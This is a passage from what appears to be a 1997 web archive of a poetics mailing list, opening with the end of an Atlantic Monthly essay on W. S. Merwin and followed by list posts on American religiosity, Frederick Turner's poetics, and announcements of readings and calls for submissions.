across the Hudson toward the towers of New York and then later in Scranton, Pennsylvania. He graduated in 1947 from Princeton University, where he learned from John Berryman, and set out for Europe to encounter the Romance languages. During the early 1950s he lived as a translator of Latin, French, Spanish, and Portuguese on Majorca (where he tutored the children of the poet Robert Graves) and in Spain, Portugal, and England. He eventually settled in the south of France and headquartered there during most of the 1960s, though after a time he spent parts of nearly every year in New York. Later he wandered into Mexico for several years. Since 1975 he has resided in Hawaii, where he maintains a miniature forest of trees and plants of species that are threatened elsewhere in the world.

Return to:

• Atlantic Unbound's Poetry Pages

• An Audible Anthology

Discuss this article in the Arts & Literature forum of Post & Riposte.

---------- W. S. Merwin Recent poems from The Atlantic Monthly, with readings by the author recorded specially for Atlantic Unbound:

Three French Poems:
"Vehicles," "The Speed of Light," and "End of a Day" (September 1994)

"Green Fields"
(February 1995)

Three Poems:
"Another River," "Echoing Light," and "Remembering" (April 1997)

---------- Merwin's early poetry was formal and medieval in its overtones, shaded by the influence of Robert Graves and of the medieval poetry Merwin was translating. He was awarded the Yale Series of Younger Poets Award in 1952 by W. H. Auden. In his fourth book, The Drunk in the Furnace (1960), he turned toward American themes, after spending two years in Boston, where he got to know Robert Lowell, Sylvia Plath, Ted Hughes, Adrienne Rich, Donald Hall, and other poets who were breaking out of the rhetoric of the 1950s. With The Moving Target (1963), The Lice (1967), and The Carrier of Ladders (which won him the Pulitzer Prize in 1970), he began exploring the hazy and animate forms of poetry for which he is famous. Merwin's poems from here on tend to escape from punctuation; they search beneath the surfaces of incident and feeling to the depths of our understanding, a territory of comprehension that anticipates language, that catches perception at the point where it has not yet wholly located words, encountering thought

and feeling as they hesitate in the process of formation. In The Carrier of Ladders, for example, the character of a ladder is taken to reside not only in its rails and rungs but in the spaces between them, and the poet carrying it takes responsibility for all the dimensions of a ladder, not only for its character as a climbing contraption.

<Picture: The Vixen>Merwin's recent poetry, to borrow the words of Robert Frost, may be thought of as "the tribute of the current to the source." During the 1980s and 1990s Merwin has gradually allowed his mind and language (which in a poet are especially hard to separate) to range across the wide regions of his own reading and travelling, while also plumbing the feelings and reasonings that arise from his deeply held beliefs. He is not only profoundly anti-imperialist, pacifist, and environmentalist, but also possessed by an intimate feeling for landscape and language and the ways in which land and language interflow. The Rain in the Trees (1988), Travels (1993), and The Vixen (1996) take the reader inside the implacable intentions of conquistadors, naturalists, and explorers, across the Pacific to the ravaged jungles of the Philippines, into the gentle tilt of a Pennsylvania pasture, to the flicker of health in a New York hospital or the business of a weasel in the wall of an old French farmhouse. Increasingly he has been arrested by an intensely sensuous involvement with place. His beautiful prose work, The Lost Upland (1992), and The Vixen are both book-length eulogies to the ancient farming country above the Dordogne River that Merwin left thirty years earlier -- written in Hawaii about France, a tremendous expedition through time and space to encounter the remnants of our medieval past. And listen to this recollection in another prose work, Unframed Originals (1982):

The smell of barns drifted even through the market towns that were themselves not much larger than villages, and in the evenings cows swayed through the streets guided by peasants with the same long sticks. Pigs grunted behind arched cellar doors, and were butchered in back alleys, with groups of experts standing around, and the cobbles running blood. The farm dogs appeared to be a random mix, but many of them had one pale and one dark eye. They knew their jobs. They ate soup. The language on the farms was a patois descended from a Languedoc tongue older than the French of Tours and Paris.

The intentions of Merwin's poetry are as broad as the biosphere yet as intimate as a whisper. He conveys in the sweet simplicity of grounded language a sense of the self where it belongs, floating between heaven, earth, and underground. The tone and directness of his intentions are clearly declared at the outset of Travels in a poem called "Cover Note":

...reader I do
not know that anyone

else is waiting for these
words that I hoped might seem
as though they had occurred
to you and you would take
them with you as your own

It's that ingratiating tone that Merwin's poems take -- confiding, in the most private way, the most generous of concerns -- that has made him so welcome and frequent a visitor to The Atlantic Monthly's poetry pages.

---------- Peter Davison is the poetry editor of The Atlantic Monthly. His books include the memoir The Fading Smile: Poets in Boston, 1955-1960 (1994) and The Poems of Peter Davison 1957-1995, recently published in paperback.

Discuss this article in the Arts & Literature forum of Post & Riposte.

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160. Poetics List Administration

NYC readings/ZINC Bar (fwd)

Sat 8 Nov 1997

---------- Forwarded message ----------
Date: Fri, 07 Nov 1997 16:35:57 -0800
From: hkhfound <[redacted]>
To: [redacted]
Subject: NYC readings/ZINC Bar

Liking to pass on some information about upcoming readings at the ZINC Bar (90 West Houston St., NYC):

Sunday, Nov. 9 - Mark DuCharme/John Arrizza

Sunday, Nov. 16 - Peter Culley/Vole (the greatest rock 'n roll band....)

Sunday, Nov. 23 - Maggie DuBris/Johnny Stanton

Readings start at 6:30. $3 donation suggested.

Yrs., Anselm Berrigan

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161. **Michael Magee**
Re: Speaking American
Sat 8 Nov 1997

Just keeping this going a bit by saying thanks to Matt for his modification of my last post. He's right of course to call into question these constructions of American "individualism," what with their dubious histories past and present. I guess my main point which I'll try to state w/ a bit less hyperbole this time around is that I see American religiosity as sort of(I hate and hesitate to use this term but here goes...) always already reactionary - which is to say it is in perpetual response to the anxiety that the prime mover in American culture is actually the will to believe in nothing in particular or, worse even, the will to, in Ralph Ellison's words, "make chaos out of no longer tenable order." Utopian to be sure but as Jameson argues so deftly in The Political Unconscious, utopian gestures are never autonomous, they're socially symbolic acts. In a way (and here surely is my own "American-ness" coming to the fore) I'm more hopeful about American prospects for secularization b/c the culture doesn't really offer up an accepatble substitute for God - "The State," for instance. So maybe there's a secular, improvisational collective at the end of this road. That's the utopia I'd like to gesture toward in any case.

-Mike.

According to
Matthew Hart: > > Hello all: >
> I'm going to announce myself on the list (stepping out from lurker-land)
> by arguing with Mike, which is a safe thing to do, given that I can throw
> bottles at his windows from here.
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> Actually, I'm in general agreement with Mike's post, especially when he's
> talking about the classroom. But this extract below strikes me as needing
> some modulation:
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> > This is picked up from the strain on "American-ness" and I can't quite
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> > Americans are the most religious people in the world (you hear it on the
> > nightly news at least weekly in one form or another) is just plain stupid.
> > For the huge majority of Americans, including - and perhaps *especially* -
> > the "very religious" ones, religion is like the key chain that you can get
> > "personalized" at the mall by having your name engraved on it. And, as
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> >From my British perspective, the statement "Americans are the most
> religious people in the world" may not seem absolutely true (ie, vs.
> Israel or Iran, or another theocracy) but it has a certain truth value

> that's sociologically important. What struck me the first time I lived in
> Philly was the number of young people I knew who, although they professed
> no real, evangelical belief, would attend major religious festivals or
> services, and were *extremely* loath to commit to any kind of atheism.
> Amongst university students in Britain, this kind of middle-class
> religiosity just doesn't occur.
>
> So what, though?
>
> Well, a couple of things. Firstly, these "key-chain" Christians (or
> whatever) aren't dolts, although we might want to see them as
> ideologically interpellated/disciplined/constructed (add your fave
> theoretical term here). Secondly, it seems to me that it's exactly the
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> survive here in the way it doesn't/hasn't/won't elsewhere. Mike's aside
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> macro-political field:
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> brilliantly observe how social and individual experience melt into one
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> In a poetics context, the relevant comparison would seem to be between
> this religiosity and the spectre of Eng. Lit. departments whihc, despite
> their theoretical sophistication, resist writing practices (creative
> or critical) which enact this sophistication.
>
> But this is enough for now . . .
>
> Matt Hart
>

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162. cloward
Re: Frederick Turner's The Culture of Hope
Sat 8 Nov 1997

David, excuse any heavy-handedness in my response to your post. I think we are essentially in agreement about the dangers of any scientific reductionism (Darwinian fundamentalism, nostalgic empiricism, utilitarianism, what have you) that prescribes a specific type of poetry, but I heartily disagree with your assertion that informed speculation concerning poetry in evolutionary terms cannot tell us anything useful about contemporary possibilities.

As Henry Gould points out, there is the possibility in this type of discussion of not simply boxing poetry in a scientific framework but of a reciprocal reframing of science in the wildness of poetry. This, I think, is the best prescription for reading Frederick Turner's work and understanding his take on the neurobiological roots of poetry. I think Turner's theoretical work stands up much better when read in conjunction with the poetic work that deals most directly with the subject (I would recommend the aphorisms in his early book The Garden and the long poem Field Notes in his upcoming collection, Hadean Eclogues, as the best points of entry). This work is, indeed, deeply speculative, "fantasy and confabulation" if you will, but he does make some fascinating connections (between verbal play, the performative roots of literature and the biological roots of ritual, for instance) which I find immensely useful.

And beneath all the jargon Turner offers a simple explanation of "what poetry is for" which I find profoundly attractive: Joy!

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163. mark weiss
Spe3aking American
Sat 8 Nov 1997

Here's a lot of generalizations to chew on:

America (The US version) is such an odd beast that American writers spend an inordinate amount of time wondering at it, some of us almost to the exclusion of all else. And religion, broadly defined, is, I think, at the heart of it. Us white folks, anyway, have always been messianic, often millenarian and utopian. This is equally true of the lot that landed in Boston in 1630, which already saw this savage shore as the last chance to demonstrate the right ordering of human society, the Adventists, the Mormons, the socialists, the hippies, and all the believers in various forms of manifest destiny. We still talk about extending the American Way to all corners. This has had all kind of results--the elevation of the individual to such an extent that coherent group action becomes difficult

(one strain of our utopianism actually posits that the collective is unnecessary--a mere hampering of the individual's possibilities that can be doffed like an old coat), on the one hand, and the despair in almost all corners at the failure of the political or theological millenium to arrive. But let me stick with individualism, the weed sowed here not just by radical protestantism, but by the fact that America has been the great escape hatch for individuals and eccentric groups that had a hard time with the limitations imposed by the collectivities they left. Those most committed to the old place didn't leave, regardless of circumstance, which is why there are still Irish in Ireland and Jews and Gypsies in Western Europe. Those most disaffiliated left most easily, others required the imposition of more stress, and others decided that the stress of leaving was more difficult to contemplate than whatever awaited them if they remained at home. So we have a populace selected and self-selected from those least skilled at the maintenance of society, and arriving, often, with an individualist theology in a place where that theology was a dominant strain. American Exceptionalism is that individualism writ large. So the hostility toward organized society becomes intense to the point of manichianism, and you get, as extreme manifestations of widespread sentiments, anti-flag burning amendments, HUAC, Ruby Ridge, and Oklahoma City. Now throw in religion. Not all theists are Disney theists, but the Disney theists, because of their vague religious identification, in an environment where fine analysis is not exactly a given, are particularly easy for their more committed brethren to lead astray, into creationism and other antiscientific mind-sets. We not only have the largest percentage of self-proclaimed religious believers (and church-goers) in the industrialized world, we have the largest collection of believers in astrology, UFO's, etc. What the collective tries to teach to the contrary is suspect, because the collective may by the very fact of its collectivity be the enemy. Which leaves a lot of people pretty vulnerable to persuasion from the collectives that masquerade as the promoters of the individual. Given the right shepherd the Ramboys become sheep. An aside to the correspondent from across the water: students at Penn are not the same as students in Arkansas and Arizona. Large Northeastern cities teach relativism as a necessary survival skill, which may be why there is a more liberal political environment. And of course the kids at Penn are selected largely from more-affluent, better-educated homes, and come from a wide variety of environments. When I began teaching in Arizona after years teaching in New York the contrast was immediate and shocking. The kids at Columbia, but also at Hunter, were a lot easier to shake out of whatever preconceptions. This is also true, by the way, of the mostly affluent but educationally-deprived kids who arrive at UC San Diego. I loved teaching in Arizona, but I was very aware that I was starting at a different point. It's good to remember that, while enormous numbers of Americans live in the more challenging environments of the Northeast and the San Francisco to Seattle littoral, they have disproportionately few votes in

Washington. North Dakota has two senators, New York City has none. What those whose Americanism is most unquestioned do with their beliefs and their votes matters a lot.

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164. mark weiss
(no subject)
Sat 8 Nov 1997

A addendum, perhaps corrective, to the former.

Recently my father-in-law died. He was a life-long Presbytarian, raised by his minister father in a branch of one of the southern synods whose orthodoxy would have made John Knox blush. what differentiated them from their already rather austere bretheren was their disallowance of the vanity of music and singing in church. His own trajectory had been towards a much more liberal church and a profound questioning, but at the end he was still a firm theist. His funeral was at the church at Warren Wilson College, and he is buried at their cemetery, which blends easily with the pasture across the fence downhill because there are no headstones, only barely-visible markers flush to the ground. The cemetery is a few rural miles from his home. Before, during and after the funeral there was an outpouring of kindness and support from the community-defined-as-church that was an extraordinary contrast with the circumstances of my own father's funeral. My father's death was marked only by a brief gathering conducted by a rabbi who didn't know him in a commercial funeral parlor, followed by burial in an industrial-scale cemetery too uncomfortable and too far from anyone's home to be easily visited. Some of the church-members who came to the aid of my wife's family I am told are real sons-of-bitches in their daily lives. But that only makes their behavior around a major lifechange more impressive. In the crisis the community was a source of comfort that I can only envy, as the cost of entry is a belief system that I find at best childish. I had thought that this kind of event only happened in movies dripping with treacly nostalgia. Of course, these little communities have seen themselves as corporate individuals standing against the larger society since Christ invited the gang out for passover dinner, and their stated devotion, whatever the concerns of the individuals within them in their secular lives, is not to the future of the larger society or the environment but to the salvation of individual, individually chosen souls, the chosen people elected one by one.

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165. **nuyopoman**
Zimbabwe Links
Sat 8 Nov 1997

While at Frankfurt Book Fair (which I urge you go to -- the biggest anything I've ever been to! filled with booklovers! plus headspinning "deals" oy) I met Zimbabwean poet, Chirikure Chirikure. He read sweet beauty in Shona; his sister accompanied on mbira. I'll be posting (English trans) poem on http://poetry.miningco.com Tuesday. Would love to link any Zimbabwean poetry sites. Help?

Thankew,

Bob Holman

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166. **John Wilkinson**
Re: French Poets born after 1950
Sun 9 Nov 1997

Re Pierre Alferi, Equipage in Cambridge (England) has just published the bilingual text of the erotic table-tennis sequence "Personal Pong", English by Kevin Nolan with Alferi's approval, and with a two-page Note de Traducteur which is as pithy an essay on poetics as you will see in many a long day. Equipage plans a Bernard Dubourg work with the involvement of several hands.

Equipage c/o Rod Mengham, Jesus College, Cambridge CB5 8BL

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167. **Joe Amato/Kass Fleisher**
Re: Frederick Turner's The Culture of Hope
Sun 9 Nov 1997

---

ok, i just have to pull out of my own shit for a moment here, and chime in on the "turner" thread...

weird----there's a mark turner who's written imnsho a profoundly misguided book, _reading minds: the study of english in the age of cognitive science_ (princeton up, of all places, 1991) that presumes to speak directly to the "poetry of connections" at the neural level, through the emerging field of "cognitive rhetoric" (we might want to ask what part of the 'brain' contributed to said field 'emerging,' but that might be asking for too much)...

if you want to understand what's wrong with notions of chaos theory and the like applied in more direct ways---let's say "evolutionary" ways---to poetic production, or to culture in general, you need first, i think, consider the process of

poetic production as, among other things, having something to do with the ways we think...

which of course surfaces issues of mind-brain... which is precisely where most such... descriptions?---falter... and interestingly, they seem in their faltering to be prone to resurrecting a rather dated notion of poetic "form" (yeah---vs. content)... i've 'argued' elsewhere that this is b/c mind itself is now thought, in many circles, a technology...

so the politics---politics in the broadest sense, but politics nonetheless---of such conceptual maneuvers is all too clear... just starting with cognitive science, for example: have a good long look at _the embodied mind: cognitive science and human experience_, by francisco varela, even thompson, and eleanor rosch (mit, 1991), just to see where cognitive scientists began to resist their own disciplinary reductions even as the "decade of the brain" got started... it's not without its problems, but then, neither is cogsci...

i hope i don't sound jaded here---although i am, b/c i'm tired of making this point, which i've been making since i don't know when... i find it aggravating as hell that both turners, paul lake, whoever others, can continue to mount arguments predicated on a so-so grasp of the new sciences... and that they seem in their excursions far less sophisticated than, say, n. katherine hayles in her work on the "isomorphic" relations between the new sciences of complexity and other *forms* of cultural production... and that these chaps do so in order ultimately to propose either (1) a hierarchy simply of poetic value or (2) an explanation, e.g., for how "metaphor" works, i.e., at the *cognitive* level, which generally leads to a social or disciplinary hierarchy of value... which seems to suggest a gesellschaft of sorts, for those so inclined... which is right in line with scientifically absurd, or absurdly scientific, treatments of value such as roger w. sperry's _science and moral piority: merging mind, brain, and human values_(columbia up, 1983)... in fact it's well and good to try to work out correspondences twixt the sciences, so to speak, and the arts---but every damn time this happens it seems to be the arts that are to be "explained" by the sciences... typically with a concluding aesthetic appeal for the intrinsic beauty or some such of the science so informed, and the art so 'described'...

anyway... that's my two cents' worth... should be clear i'm with david kellogg on this one... i say you need to read beneath the signs...

apologies for my impatience...

best,

joe

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168. Matthew Stadler
Re: Zimbabwe Links
Sun 9 Nov 1997

I would also like to know of any Zimbabwe links. An excellent writer in Seattle named Charles Mudede told me of "zim-net" or something like that, but I don't have any details. You could try Charles at [redacted]

Matthew Stadler

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169. Maria Damon
Re: Frederick Turner's The Culture of Hope
Sun 9 Nov 1997

---

what do you all make of ira livingston's book Arrow of Chaos: Romanticism and Postmodernity, along these lines? i'm a big fan of ira's.--md

At 8:18 AM -0600 11/9/97, Joe Amato/Kass Fleisher wrote:
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>on the "turner" thread...
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>
>so the politics---politics in the broadest sense, but politics
>nonetheless---of such conceptual maneuvers is all too clear... just

>starting with cognitive science, for example: have a good long look at
>_the embodied mind: cognitive science and human experience_, by francisco
>varela, even thompson, and eleanor rosch (mit, 1991), just to see where
>cognitive scientists began to resist their own disciplinary reductions even
>as the "decade of the brain" got started... it's not without its problems,
>but then, neither is cogsci...
>
>i hope i don't sound jaded here---although i am, b/c i'm tired of making
>this point, which i've been making since i don't know when... i find it
>aggravating as hell that both turners, paul lake, whoever others, can
>continue to mount arguments predicated on a so-so grasp of the new
>sciences... and that they seem in their excursions far less sophisticated
>than, say, n. katherine hayles in her work on the "isomorphic" relations
>between the new sciences of complexity and other *forms* of cultural
>production... and that these chaps do so in order ultimately to propose
>either (1) a hierarchy simply of poetic value or (2) an explanation, e.g.,
>for how "metaphor" works, i.e., at the *cognitive* level, which generally
>leads to a social or disciplinary hierarchy of value... which seems to
>suggest a gesellschaft of sorts, for those so inclined... which is right in
>line with scientifically absurd, or absurdly scientific, treatments of
>value such as roger w. sperry's _science and moral piority: merging mind,
>brain, and human values_(columbia up, 1983)... in fact it's well and good
>to try to work out correspondences twixt the sciences, so to speak, and the
>arts---but every damn time this happens it seems to be the arts that are to
>be "explained" by the sciences... typically with a concluding aesthetic
>appeal for the intrinsic beauty or some such of the science so informed,
>and the art so 'described'...
>
>anyway... that's my two cents' worth... should be clear i'm with david
>kellogg on this one... i say you need to read beneath the signs...
>
>apologies for my impatience...
>
>best,
>
>joe

↑ Index

170. Joe Amato/Kass Fleisher
Re: Frederick Turner's The Culture of Hope
Sun 9 Nov 1997

don't know that one, maria... can you post a quick summary?///basic vectors of thought?...

best,

joe

↑ Index

171. Brent Long
Call for entry
Sun 9 Nov 1997

Dear List members,

As some of you know I wrote a Web Page about the late poet Frank Stanford several months ago (it is currently being updated with new photos, interviews, sound clips, etc., and will be back up in the next few weeks). I would like to invite any of you familiar with his work to write a critical essay for publication on the Web Page. Length is unimportant, as I have access to plenty of server space. Any of you interested can e-mail me at [redacted]

Brent

↑ Index

172. George Bowering
Re: Speaking American
Mon 10 Nov 1997

> *If*
> *this means we have to encounter a lot of dopes saying "Jesus loves me,*
> *this I know, 'cause the Bible tells me so," so be it. I can live with*
> *that.*

I get yr point. But it seems to me that Quilty's point was that these dolts were symptomatic of the folks who have taken it upon themselves to invade as many smaller countries all over the world as they can, for thinking otherwise about things.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

173. Susan Wheeler
Nancarrow
Mon 10 Nov 1997

Remembering Nancarrow fans, a piece in yesterday's New York Times on him. And re Tremble, it's a stupendous book, but I do not see it as a phenomenal departure for Wright -- clues?

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

174. Henry Gould
Honig online
Mon 10 Nov 1997

For people interested in Edwin Honig's poetry, a large portion of his collected poems, titled TIME & AGAIN - POEMS 1940 - 1995, is now online at the Contemporary American Poetry Archive. The site is still under construction and there are some problems with lineation & spacing, particularly in the section of Early Poems; also parts 2,4 and 13 are missing, hopefully soon to be added. There is a table of contents for the complete collection as well as a bibliography.

Honig has been struggling to find a publisher for this massive collection, but in the meantime Wendy Battin, Charles Hartman, & their helpers at CAPA are providing a very heartening service. CAPA address: http://capa.conncoll.edu.

- Henry Gould

↑ Index

175. Maria Damon
2 fwded announcements
Mon 10 Nov 1997

---

1. To: [redacted]
cc: (bcc: Mark A Nowak/St. Catherine)
Subject: Xcp/Ads

Dear Alison Aten,

Xcp: Cross-Cultural Poetics has decided, at a recent staff meeting, to begin accepting select advertisements in our upcoming issues. Prices for 5 1/2" x 8 1/2" camera ready ads will be as follows:

1.) one time ad: $100

2.) one ad in 3 consecutive issues (can be different in each issue): $250

Since University of Minnesota Press books are often featured in our review section (_Fictions of Feminist Ethnography_ in issue no. 1, _Modernity at Large_ in issue no. 2), we wanted to invite you to participate in this opportunity in time to get your ad into issue no. 2 (deadline: 20 December 1997).

Xcp: Cross-Cultural Poetics is a semi-annual journal of poetry, poetics, ethnography, and cultural & ethnic studies based in Minneapolis, MN. One thousand copies of each issue are printed and distributed via Bernhard De Boer, Inc. (Nutley, NJ), Small Press Distribution (Berkeley, CA) and Don Olson Distribution (Minneapolis, MN) as well as directly to our subscribers. In addition, 100 copies of _Xcp: Cross-Cultural Poetics_ are sent to the most distinguished professors, poets, scholars, and university departments and libraries in the United States and Canada.

If you would like more info. on this introductory opportunity, please feel free to e-mail or call me ([redacted]) for more information.

Sincerely,

Mark Nowak, ed.
Xcp: Cross-Cultural Poetics

2. Subject: Call for papers--Queer Theory conference at the UofM

Greetings!

I received your name from the University of Minnesota's GLBT Programs Office, and wanted to forward you the following information. QGPA, a graduate and professional association at the U of M, will be co-sponsoring a conference on April 24-26, 1998, concerning the efficacy of queer theory. Please review the call for papers I have attached tto the bottom of this e-mail and feel free to forward it to any listservs, students, or colleagues who may be interested.

I appreciate your time, and hope you will be as excited about this upcoming event as I am.

Best wishes,
Thomas O. Haakenson

Comparative Studies in Discourse & Society Program
Department of Cultural Studies and Comparative Literature
University of Minnesota - Twin Cities

****

Offices: GLBT GAPSA Co-Chairperson
COGS Representative for the CSDS Program
E-Mail: [redacted]
Phone: [redacted]
S-Mail:

3424 Bryant Avenue South CSDS Program Minneapolis, Minnesota 55408-4110 University of Minnesota [redacted]
350 Folwell Hall 9 Pleasant Street S.E.
Minneapolis, MN 55455
********** :

****

"HOW QUEER ARE WE HERE?"
INTERROGATING THE EFFICACY OF QUEER THEORY AND POLITICS

APRIL 24-26, 1998
University of Minnesota, Twin Cities

**********CALL FOR PAPERS

QGPA, the Gay, Lesbian, Bisexual, and Transgender Graduate and Professional Association of the University of Minnesota, Twin Cities, Announces an Interdisciplinary Graduate Student Conference:

Recent critical and political theory has attempted to formulate the notion of "Queer" identity as a radical response to various institutions of power and domination; critics have posited this queer identity as both a disruption of traditional subject positions as well as an opportunity for the creation of alternative, destabilized configurations of subjectivity. Increasingly, however, queer identity seems in danger of "assimilation" by the very institutions that it ostensibly challenges. Can queer theory and politics continue to offer effective resistance to these normalizing regimes of power, and if so what tactics of deployment will allow them to retain their subversive edge? Our conference will explore the current situation by posing questions including, though certainly not limited to, the following:

How--if at all--has the development of a "queer" culture problematized the earlier "gay" and "lesbian" cultures that came before it?

To what extent do the devotees of queer or other resistant sexual styles (S&M, Drag, etc.) illustrate the precepts of academic theory by recognizng their deployment of these styles as actually formative, rather than merely expressive, of their identities?

How do notions of queer identity intersect with the discourse of political action? How does queer theory "resist" or "subvert" hegemony? And can one speak of a "queer revolution?"

Have the strategies of radical organizations like Queer Nation enabled the creation of a quepractices merely reinforced the identity categories already in place?

Has the recent popularization of the "camp" aesthetic negated its subversive power to re-signify cultural products, thereby reducing camp's resistance of the market economy to the commodified lure of "kitsch?"

Does the current trend toward sexual ambiguity in popular advertising signal the emergence of a new "queer" target audience? If so, what is the relation of queer identity to contemporary capitalism?

Has the surge of interest in "drag" performance created "queer" cabaret spaces in which variously sexed subjects can re-negotiate their own identity positions? Or do these performances simply repeat and thus replicate the common conventions of a male/female gender dichotomy?

What are the implications of genetic research for "queering" our notions of biological "sex?" Will the "encoding" of the body effected by the Human Genome Project reconfigure our definitions of gender, or further fix the criteria employed in the binary division of sex?

How will the increasing institutionalization of Queer Studies within the Academy affect its ability to challenge the dictums of power and authority?

Please send a one page single-spaced abstract by December 15, 1997 to:

Thomas Haakenson
Department of Cultural Studies & Comparative Literature
350 Folwell Hall, 9 Pleasant Street Southeast
University of Minnesota-Twin Cities
Minneapolis, MN 55455

For further Information, please send inquiries to the above address, or by e-mail to:

[redacted]

or

[redacted]

****

↑ Index

176. Douglas Barbour

Re: Turner is there still but where's Merwin?

Mon 10 Nov 1997

Thanks Joe for that summary of the problems inherent in the Turners' etc approach to science & hierarchy.

Interesting to see the huge silence that greeted Aviva's posting of:

<<The Atlantic's poetry editor reflects on the career of W. S. Merwin, whose long association with the magazine spans great distances of geography and art

by Peter Davison>>

& why was that? I found it interesting from a number of perspectives. One, of course, is the cultural economy, & Davison's neat build-up of his own editing via praise of Merwin. Another was the bland assumtions carried by a nifty metaphorical argument for Merwin's growth etc over the years. I also found intriguing the bio of Davison at the end: two books I probabaly wont be reading, but does that not simply reveal my biases as against his? Well, yes, but.

I'm called back to the query as to why I would 'choose' Creeley over Merwin, which isnt quite what I was doing, although I do admit that given the choice...

What I suspect I (& many others here) do do is 'choose' a particular open poetics that Creeley also chooses over one less so that Merwin seem much of the time to belong to or with. For example that means that I'm a big fan of Levertov too, but still not of Merwin. But I admit that I dont know Merwin's work all that well, for the reasons given earlier,that I can only read so much, have not been called back by his work to his work the way I am by, well, so many others (in Canada, we have a number of poets many on the list may not have even heard of, whose work I will continue to read with great joy: Phyllis Webb, to name just one of Merwin's generation, for example).

Anyway: what is also fascinating about that Davison article is that it does represent a particular, & perhaps quite large, 'audience,' as well as a particular politics, for which his kind of rhetoric of criticism is meaningful, carries weight. That's the fragmented world of poetry today, however small, neh?

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]

H: [redacted]
~~~
~~~

drop the word when I'm having so much fun?) I agree with most of her specific analytic points, as to what M's weaknesses are. But just don't see them as ruining the work *quite* as much a she does..

Mark P.

On Fri, 7 Nov 1997, Douglas Barbou

r wrote:

> *Generally, I'd have to side with Patrick Pritchett on this one, although I do like a lot of his translations. But I went after a lot of the early poetry, read it, & then put it away. In regard to Creeley, whose work I return to all the time, I just am not called back to the Merwin. Except for one book, published outside his usual venues, by the late lamented North Point, _Finding the Islands_, which was something of a formal move for him as well. Not 'great' but certainly of interest to this reader...*
>
> *==========*
> *Douglas Barbour*
> *Department of English*
> *University of Alberta*
> *Edmonton Alberta T6G 2E5*
> [redacted] *FAX:*[redacted]
> *H:* [redacted]
> *~~~

Gary R.

↑ Index

179. Jeff Hansen
Quirkiness
Mon 10 Nov 1997

Aviva Yogel describes a C.D. Wright lecture as "quirky but brilliant." Why the "but"? Aviva seems to be saying quirky and brilliant. Yet the but remains. The word is supposed to join contrasting elements, such as "not bagels, but doughnuts." Here, it is joining seemingly contrasting elements that are in fact not so. A synonymous phrase would be, I think, "while quirky, neverless brillant."

Funny, I don't dissassociate quirkiness from brilliance at all. I think the former is a component of the latter. I'd be startled at a brilliant lecture that was not quiky.

What do you'll think?

↑ Index

180. J. Tate
Re: Frederick Turner's The Culture of Ho
Mon 10 Nov 1997

On Fri, 7 Nov 1997, Pritchett,Pat @Silverplume wrote:

> *Isn't it enough to say that poetry is a cultural product? That whatever dim primeval impulse first stimulated its rudimentary expressions that by now - several millennia later - poetry is a cultural construction and requires no further justification than that? As if it needed any in the first place.*

It doesn't seem enough to say "poetry is a cultural product." It doesn't explain how children are lulled to sleep by lullabies or why a spine might tingle listening to a recording of Yeats.

Joseph Tate
Graduate Student
U. of Washington, Seattle

↑ Index

181. Michael Magee
Mackey reading at Penn
Mon 10 Nov 1997

Just letting everyone know that, if you happen to be in Philly on thursday, Nathaniel Mackey will be reading at The Writers House on the Penn campus (3805 Locust Walk). As I'm guessing many of you know, Mackey is a brilliant writer of poetry, novels and literary criticism. He's also recently released of CD of poetry to musical accompaniment. The reading begins at 8. Anyone who wants more info feel free to e-mail me.

-Mike.

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182. Karen and Trevor
request for submissions
Mon 10 Nov 1997

Fourteen Hills: The SFSU Review the nationally distributed magazine from San Francisco State University will be accepting submissions for the Spring/Summer 1998 issue until February 6.

Fourteen Hills publishes poetry, fiction and drama, including creative nonfiction and cross genre work. Past contributors include: Po Bronson, CD Wright, Sherman Alexie, Amiri Baraka, Peter Gizzi, Aaron Shurin, Leslie Scalapino, Paul Hoover and Michael Palmer.

The Fall/Winter 1997 issue, available toward the end of December 1997 includes: a conversation with Dorothy Allison; poetry by Laynie Browne, Gustaf Sobin, Sianne Ngai, Sheila E. Murphy, and many others; fiction includes: Marianne Villanueva, Gordon Lish, and Laura Moriarty among others. It also features two pieces of drama by emerging playwrights Robert Barker and Daniele Nathanson.

Please send your submission with SASE to:
Fourteen Hills
Creative Writing Department
San Francisco State University
1600 Holloway Ave
San Francisco, CA 94132

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183. Miekal And
to spank your curiosity
Mon 10 Nov 1997

You are invited to encounter JOGLARS

:
cross
media
broadcast
:

a webspace devoted to the possibilities of online collaboration

:

2 projects served up to date

:

Literature Nation
interwriting by Miekal And & Maria Damon

:

spidertangle wordround
an online hyperwriting workshop open to
collaborations & interventions

...

html conjured by Miekal And

point your browser at:

http://net22.com/qazingulaza/joglars/index.html

Please no crank phonecalls or arbitary aesthetics.

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184. Brent Long
Re: Mackey reading at Penn
Mon 10 Nov 1997

I just saw a reading that Mackey gave with his wife at Brown University, and I have to say that it was one of the most boring readings I have ever been to. Of course, maybe that is because I have a hard time with "language" poetry, but he seemed exceptionally vague, with no method to the madness at all...sorry, but that just ain't poetry in my book.

Brent

At 12:24 PM 11/10/97 -0500, you wrote:
>Just letting everyone know that, if you happen to be in Philly on
>thursday, Nathaniel Mackey will be reading at The Writers House on the
>Penn campus (3805 Locust Walk). As I'm guessing many of you know, Mackey
>is a brilliant writer of poetry, novels and literary criticism. He's also
>recently released of CD of poetry to musical accompaniment. The reading
>begins at 8. Anyone who wants more info feel free to e-mail me.
>
>-Mike.
>
>

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185. **Michael Magee**
Re: Mackey reading at Penn
Mon 10 Nov 1997

Brent's detraction aside, I still think most of you would enjoy it; others I've heard from have told me he's a wonderful reader. Though I haven't heard him read yet his work knocks me out. Those of you who feeling like taking the gamble probably know who you are. -m.

According to Brent Long:
>
> I just saw a reading that Mackey gave with his wife at Brown University,
> and I have to say that it was one of the most boring readings I have ever
> been to. Of course, maybe that is because I have a hard time with
> "language" poetry, but he seemed exceptionally vague, with no method to the
> madness at all...sorry, but that just ain't poetry in my book.
>
> Brent
>
>
> At 12:24 PM 11/10/97 -0500, you wrote:
> >Just letting everyone know that, if you happen to be in Philly on
> >thursday, Nathaniel Mackey will be reading at The Writers House on the
> >Penn campus (3805 Locust Walk). As I'm guessing many of you know, Mackey
> >is a brilliant writer of poetry, novels and literary criticism. He's also
> >recently released of CD of poetry to musical accompaniment. The reading
> >begins at 8. Anyone who wants more info feel free to e-mail me.
> >
> >-Mike.

> >
> >
>

